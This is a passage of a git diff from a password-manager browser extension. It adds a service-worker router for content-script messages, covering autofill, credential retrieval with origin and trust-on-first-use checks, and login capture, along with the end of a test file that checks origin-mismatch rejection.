const newItem = vi.mocked(vault.encryptAndWriteItem).mock.calls[0][3];
|
||||
expect(newItem.title).toBe('example.com');
|
||||
if (newItem.core.type !== 'login') throw new Error('expected login core');
|
||||
expect(newItem.core.url).toBe('https://example.com');
|
||||
expect(newItem.core.username).toBe('bob');
|
||||
expect(newItem.core.password).toBe('s3cret');
|
||||
// Manifest entry should have been added too.
|
||||
expect(state.manifest!.items['fakeitemid0000ab']).toBeDefined();
|
||||
});
|
||||
|
||||
it('origin_mismatch when existing item for same username has a different host', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
// Manifest says there's a match for example.com (icon_hint), but the
|
||||
// underlying item actually belongs to github.com — defense-in-depth
|
||||
// check should reject.
|
||||
state.manifest = {
|
||||
schema_version: 2,
|
||||
items: {
|
||||
[EXISTING_ID]: {
|
||||
id: EXISTING_ID, type: 'login', title: 'Example',
|
||||
tags: [], favorite: false, icon_hint: 'example.com',
|
||||
modified: 0, attachment_summaries: [],
|
||||
},
|
||||
},
|
||||
};
|
||||
vi.mocked(vault.fetchAndDecryptItem).mockResolvedValue(
|
||||
loginItem('https://github.com/', 'alice', 'oldpass'),
|
||||
);
|
||||
|
||||
const res = await route(
|
||||
{ type: 'capture_save_login', username: 'alice', password: 'newpass' },
|
||||
state,
|
||||
makeContentSender('https://example.com/login'),
|
||||
);
|
||||
expect(res).toEqual({ ok: false, error: 'origin_mismatch' });
|
||||
expect(vault.encryptAndWriteItem).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
204
extension/src/service-worker/router/content-callable.ts
Normal file
204
extension/src/service-worker/router/content-callable.ts
Normal file
@@ -0,0 +1,204 @@
|
||||
/// Content-script-callable message handlers.
|
||||
///
|
||||
/// Origin is always derived from sender.tab.url — never trust fields on msg.
|
||||
/// Router has already verified sender.frameId === 0 (top-frame only) and
|
||||
/// sender.tab !== undefined.
|
||||
|
||||
import type { ContentMessage, Response } from '../../shared/messages';
|
||||
import type { Item, Manifest } from '../../shared/types';
|
||||
import type { GitHost } from '../git-host';
|
||||
import * as vault from '../vault';
|
||||
import * as session from '../session';
|
||||
|
||||
export interface ContentState {
|
||||
manifest: Manifest | null;
|
||||
gitHost: GitHost | null;
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
wasm: any;
|
||||
}
|
||||
|
||||
export async function handle(
|
||||
msg: ContentMessage,
|
||||
state: ContentState,
|
||||
sender: chrome.runtime.MessageSender,
|
||||
): Promise<Response> {
|
||||
const senderHost = safeHostname(sender.tab?.url ?? '');
|
||||
if (!senderHost) return { ok: false, error: 'invalid_sender_url' };
|
||||
|
||||
switch (msg.type) {
|
||||
case 'get_autofill_candidates': {
|
||||
if (!state.manifest) return { ok: false, error: 'vault_locked' };
|
||||
return {
|
||||
ok: true,
|
||||
data: { candidates: vault.findByHostname(state.manifest, senderHost) },
|
||||
};
|
||||
}
|
||||
|
||||
case 'get_credentials': {
|
||||
const handle = session.getCurrent();
|
||||
if (!handle || !state.gitHost || !state.manifest) return { ok: false, error: 'vault_locked' };
|
||||
|
||||
const item = await vault.fetchAndDecryptItem(state.gitHost, handle, msg.id);
|
||||
if (item.core.type !== 'login') return { ok: false, error: 'not_a_login' };
|
||||
const itemHost = safeHostname(item.core.url ?? '');
|
||||
if (!itemHost || itemHost !== senderHost) return { ok: false, error: 'origin_mismatch' };
|
||||
|
||||
// TOFU origin-ack check (VaultSettings.autofill_origin_acks):
|
||||
const settings = await vault.fetchAndDecryptSettings(state.gitHost, handle);
|
||||
const acks = settings.autofill_origin_acks ?? {};
|
||||
if (!(senderHost in acks)) {
|
||||
return { ok: true, data: { requires_ack: true, hostname: senderHost } };
|
||||
}
|
||||
|
||||
return {
|
||||
ok: true,
|
||||
data: {
|
||||
username: item.core.username ?? '',
|
||||
password: item.core.password ?? '',
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
case 'check_credential': {
|
||||
const handle = session.getCurrent();
|
||||
if (!handle || !state.gitHost || !state.manifest) {
|
||||
return { ok: true, data: { action: 'skip' } };
|
||||
}
|
||||
|
||||
// Settings-gating: capture off or site blacklisted → skip.
|
||||
const captureSettings = await loadDeviceSettings();
|
||||
if (!captureSettings.captureEnabled) return { ok: true, data: { action: 'skip' } };
|
||||
|
||||
const blacklist = await loadBlacklist();
|
||||
if (blacklist.includes(senderHost)) return { ok: true, data: { action: 'skip' } };
|
||||
|
||||
const candidates = vault.findByHostname(state.manifest, senderHost);
|
||||
if (candidates.length === 0) return { ok: true, data: { action: 'save' } };
|
||||
|
||||
for (const [itemId, entry] of candidates) {
|
||||
if (entry.type !== 'login') continue;
|
||||
const full = await vault.fetchAndDecryptItem(state.gitHost, handle, itemId);
|
||||
if (full.core.type !== 'login') continue;
|
||||
if (full.core.username === msg.username) {
|
||||
if (full.core.password === msg.password) return { ok: true, data: { action: 'skip' } };
|
||||
return { ok: true, data: { action: 'update', entryId: itemId, entryName: entry.title } };
|
||||
}
|
||||
}
|
||||
return { ok: true, data: { action: 'save' } };
|
||||
}
|
||||
|
||||
case 'blacklist_site': {
|
||||
const bl = await loadBlacklist();
|
||||
if (!bl.includes(senderHost)) {
|
||||
bl.push(senderHost);
|
||||
await saveBlacklist(bl);
|
||||
}
|
||||
return { ok: true };
|
||||
}
|
||||
|
||||
case 'capture_save_login': {
|
||||
const handle = session.getCurrent();
|
||||
if (!handle || !state.gitHost || !state.manifest) return { ok: false, error: 'vault_locked' };
|
||||
|
||||
// Look for an existing login for this origin + username. Origin is
|
||||
// always senderHost (derived from sender.tab.url by the router) — the
|
||||
// content script cannot influence which host we bind to.
|
||||
const candidates = vault.findByHostname(state.manifest, senderHost);
|
||||
for (const [id, entry] of candidates) {
|
||||
if (entry.type !== 'login') continue;
|
||||
const full = await vault.fetchAndDecryptItem(state.gitHost, handle, id);
|
||||
if (full.core.type !== 'login') continue;
|
||||
if (full.core.username === msg.username) {
|
||||
// Defense in depth: verify the existing item's own URL hostname
|
||||
// matches senderHost. If it doesn't (e.g. manifest icon_hint
|
||||
// drifted from core.url), refuse to mutate — updating here would
|
||||
// silently bind a password to the wrong origin.
|
||||
const existingHost = safeHostname(full.core.url ?? '');
|
||||
if (existingHost !== senderHost) return { ok: false, error: 'origin_mismatch' };
|
||||
|
||||
// Update only the password field + modified timestamp.
|
||||
const updated: Item = {
|
||||
...full,
|
||||
modified: Math.floor(Date.now() / 1000),
|
||||
core: { ...full.core, password: msg.password },
|
||||
};
|
||||
await vault.encryptAndWriteItem(state.gitHost, handle, id, updated, `capture: update ${existingHost}`);
|
||||
state.manifest.items[id] = itemToManifestEntry(updated);
|
||||
await vault.encryptAndWriteManifest(state.gitHost, handle, state.manifest, `manifest: update ${existingHost}`);
|
||||
return { ok: true, data: { action: 'updated', id } };
|
||||
}
|
||||
}
|
||||
|
||||
// No match → create a new Login item bound to senderHost. Title
|
||||
// defaults to the hostname; url is the sender's full origin when we
|
||||
// have it, otherwise derived from senderHost.
|
||||
const now = Math.floor(Date.now() / 1000);
|
||||
const newId = state.wasm.new_item_id();
|
||||
const senderOrigin = (() => {
|
||||
try { return sender.tab?.url ? new URL(sender.tab.url).origin : `https://${senderHost}`; }
|
||||
catch { return `https://${senderHost}`; }
|
||||
})();
|
||||
const item: Item = {
|
||||
id: newId,
|
||||
title: senderHost,
|
||||
type: 'login',
|
||||
tags: [],
|
||||
favorite: false,
|
||||
created: now,
|
||||
modified: now,
|
||||
core: {
|
||||
type: 'login',
|
||||
username: msg.username,
|
||||
password: msg.password,
|
||||
url: senderOrigin,
|
||||
},
|
||||
sections: [],
|
||||
attachments: [],
|
||||
field_history: {},
|
||||
};
|
||||
await vault.encryptAndWriteItem(state.gitHost, handle, newId, item, `capture: add ${senderHost}`);
|
||||
state.manifest.items[newId] = itemToManifestEntry(item);
|
||||
await vault.encryptAndWriteManifest(state.gitHost, handle, state.manifest, `manifest: add ${senderHost}`);
|
||||
return { ok: true, data: { action: 'added', id: newId } };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Manifest entry derivation (duplicated from popup-only for self-containment) ---
|
||||
|
||||
function itemToManifestEntry(item: Item) {
|
||||
return {
|
||||
id: item.id,
|
||||
type: item.type,
|
||||
title: item.title,
|
||||
tags: item.tags,
|
||||
favorite: item.favorite,
|
||||
group: item.group,
|
||||
icon_hint: (item.core.type === 'login' && item.core.url)
|
||||
? safeHostname(item.core.url) : undefined,
|
||||
modified: item.modified,
|
||||
trashed_at: item.trashed_at,
|
||||
attachment_summaries: item.attachments.map((a) => ({
|
||||
id: a.id, filename: a.filename, mime_type: a.mime_type, size: a.size,
|
||||
})),
|
||||
};
|
||||
}
|
||||
|
||||
async function loadDeviceSettings(): Promise<{ captureEnabled: boolean; captureStyle: 'bar' | 'toast' }> {
|
||||
const r = await chrome.storage.local.get('relicarioSettings');
|
||||
return (r.relicarioSettings as { captureEnabled: boolean; captureStyle: 'bar' | 'toast' })
|
||||
?? { captureEnabled: false, captureStyle: 'bar' };
|
||||
}
|
||||
|
||||
async function loadBlacklist(): Promise<string[]> {
|
||||
const r = await chrome.storage.local.get('captureBlacklist');
|
||||
return (r.captureBlacklist as string[]) ?? [];
|
||||
}
|
||||
|
||||
async function saveBlacklist(list: string[]): Promise<void> {
|
||||
await chrome.storage.local.set({ captureBlacklist: list });
|
||||
}
|
||||
|
||||
function safeHostname(url: string): string | undefined {
|
||||
try { return new URL(url).hostname; } catch { return undefined; }
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user